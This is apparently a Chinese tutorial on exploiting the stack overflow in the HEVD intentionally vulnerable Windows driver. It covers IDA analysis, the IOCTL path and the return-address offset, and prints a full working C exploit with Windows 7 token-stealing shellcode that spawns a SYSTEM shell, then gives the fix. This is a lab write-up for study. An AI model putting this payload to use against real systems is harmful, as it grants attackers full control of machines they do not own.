HEVD全称为HackSys Ex
treme Vulnerable Drive,是一个项目,故意设计包含多种漏洞的驱动程序,旨在帮助安全爱好者来提升他们在内核层面的漏洞利用能力。
说白了,是一个内核漏洞的靶场。
项目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
关于安装配置初始环境,建议参考:
https://tttang.com/archive/1332/
https://bbs.pediy.com/thread-218838.htm
这里就不再赘述。
本人能力有限,刚学习过一些内核知识,文章中出现的任何错误欢迎师傅们批评指正。
下面我们直接开始,从栈溢出开始
在HackSysExtremeVulnerableDriver-3.00\Driver\HEVD\BufferOverflowStack.c
文件中。
位于该文件的107行,没有经过校验Size的大小而直接使用函数进行拷贝。
相关漏洞函数为:TriggerBufferOverflowStack
将HEVD.sys文件拖入ida中分析。定位到TriggerBufferOverflowStack
函数
可以看到使用了memcpy
对kernelBuffer
有拷贝动作,将UserBuffer
的值拷贝到kernelBuffer
中,拷贝长度为传入的参数Size。
问题在于kernelBuffer
的长度是固定的:
一个ULONG类型对应四个字节,那么512*4=2048=800h,这和IDA逆向出来的代码是相同的:
而UserBuffer和Size为传入的参数,并且对Size的大小没有限制,那么倘若Size大小大于800h字节,则会发生栈溢出。
相关调用链
首先是进入到DriverEntry(x,x)
,然后通过IrpDeviceIoCtlHandler(x,x)
根据IoControlCode
使用switch
函数跳转到BufferOverflowStackIoctlHandler
然后进入TriggerBufferOverflowStack
进行溢出操作
找到IrpIrpDeviceIoCtlHandler
函数
PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near ; DATA XREF: DriverEntry(x,x)+87↓o
PAGE:00444064
PAGE:00444064 DeviceObject = dword ptr 8
PAGE:00444064 Irp = dword ptr 0Ch
PAGE:00444064
PAGE:00444064 push ebp
PAGE:00444065 mov ebp, esp
PAGE:00444067 push ebx
PAGE:00444068 push esi
PAGE:00444069 push edi
PAGE:0044406A mov edi, [ebp+Irp]
PAGE:0044406D mov ebx, 0C00000BBh
PAGE:00444072 mov eax, [edi+60h]
PAGE:00444075 test eax, eax
PAGE:00444077 jz loc_4444C5
PAGE:0044407D mov ebx, eax
PAGE:0044407F mov ecx, [ebx+0Ch]
PAGE:00444082 lea eax, [ecx-222003h] ; switch 109 cases
PAGE:00444088 cmp eax, 6Ch
PAGE:0044408B ja def_444098 ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526
PAGE:00444091 movzx eax, ds:byte_444554[eax]
PAGE:00444098 jmp ds:jpt_444098[eax*4] ; switch jump
这里看的不是很清楚,可以通过IDA F5反编译一下
可以看到只有当IoControlCode为2236419时,才会调用BufferOverflowStackIoctlHandler
,继而调用TriggerBufferOverflowStack
。
作为脚本小子,先跑一下写好了的exploit脚本。
打开HackSysEVDExploit.sln文件,直接在vs2019上编译即可。
将生成的HackSysEVDExploit.exe
拷贝至win7,执行如下命令
HackSysEVDExploit.exe -c cmd.exe -p
直接可以获取system权限。
那么只跑一下脚本肯定不行,一起分析一下他是如何做到的。
首先,栈溢出了,我们最希望控制的就是EIP,通过栈溢出的漏洞将原来函数返回的地址覆盖为我们自己希望执行代码的地址。那么应该弄清楚一点,返回地址在哪?
可以在ida上找到答案,通过stack窗口可以看到TriggerBufferOverflowStack
的堆栈图:
我们可以通过kernelBuffer
溢出来覆盖r的值,r相对KernelBuffer
的偏移为820h。
所以我们可以申请一块0x824大小的空间,然后将我们要执行函数或者shellcode的地址填入0x820的位置,即可覆盖返回地址。
当TriggerBufferOverflowStack
执行结束后就会执行我们自己的代码。
这里有一个小问题需要注意,执行完我们自己的代码以后我们需要让程序能够继续正常执行,那么需要做平衡堆栈的动作
最终我们自己编写的exp为:
#include "stdio.h"
#include "windows.h"
#include <stdlib.h>
#include <tchar.h>
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs: [eax + 124h] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + 50h]; Get nt!_KTHREAD.ApcState.Process //养父母
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, 4; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0f8h]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0f8h], edx; Replace target process nt!_EPROCESS.Token //替换token为system的token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
; Kernel Recovery Stub
xor eax, eax; Set NTSTATUS SUCCEESS
add esp, 12; Fix the stack
pop ebp; Restore saved EBP
ret 8; Return cleanly
}
}
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
char buffer[0x824];
HANDLE hDevice;
DWORD bReturn = 0;
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
printf("Failed to get handle...!\n");
return 0;
}
memset(buffer, 'A', 0x824);
*(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;
DeviceIoControl(hDevice, 2236419, buffer, 0x824, NULL, 0, &bReturn, NULL); //IoControlCode要为2236419才会执行BufferOverflowStackIoctlHandler
Cmd();
return 0;
}
其中TokenStealingPayloadWin7
为payload函数。
在ring3,fs:[0]指向TEB,在ring0,fs:[0]指向KPCR。
然后通过KPCR+124h获取CurrentThread
,CurrentThread结构体为EThread,EThread的第一个成员KThread+40为APC_STATE结构,其中包含当前线程的“养父母”进程。
EPROCESS+0xb8指向的是一个链表,串着所有进程的信息,我们可以通过遍历这个链表获取pid为4(EPROCESS+0xb4),system进程的EPROCESS信息。
最后将当前进程的token(EPROCESS+0xf8)的值替换为system进程的token的值,让当前进程权限为system。达到权限提升的作用。
最后需要平衡堆栈,以及将返回后的两句代码添上。
memset(buffer, 'A', 0x824);
*(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;
将相对kernelBuffer偏移0x820字节返回位置进行覆盖,改为我们自己函数的地址。
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL
);
创建设备与驱动通信
DeviceIoControl(hDevice, 2236419, buffer, 0x824, NULL, 0, &bReturn, NULL);
IoControlCode要为2236419才会执行BufferOverflowStackIoctlHandler,这一点我们上面也已经分析过了。
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
由于当前进程具有system令牌,我们通过当前进程创建的cmd.exe拥有system权限。
最后执行我们自己的exp,成功弹出system权限的cmd。
将Size
改为sizeof(KernelBuffer)
,达到一个限制大小的作用,这一点在SECURE(安全的代码)代码中也有体现。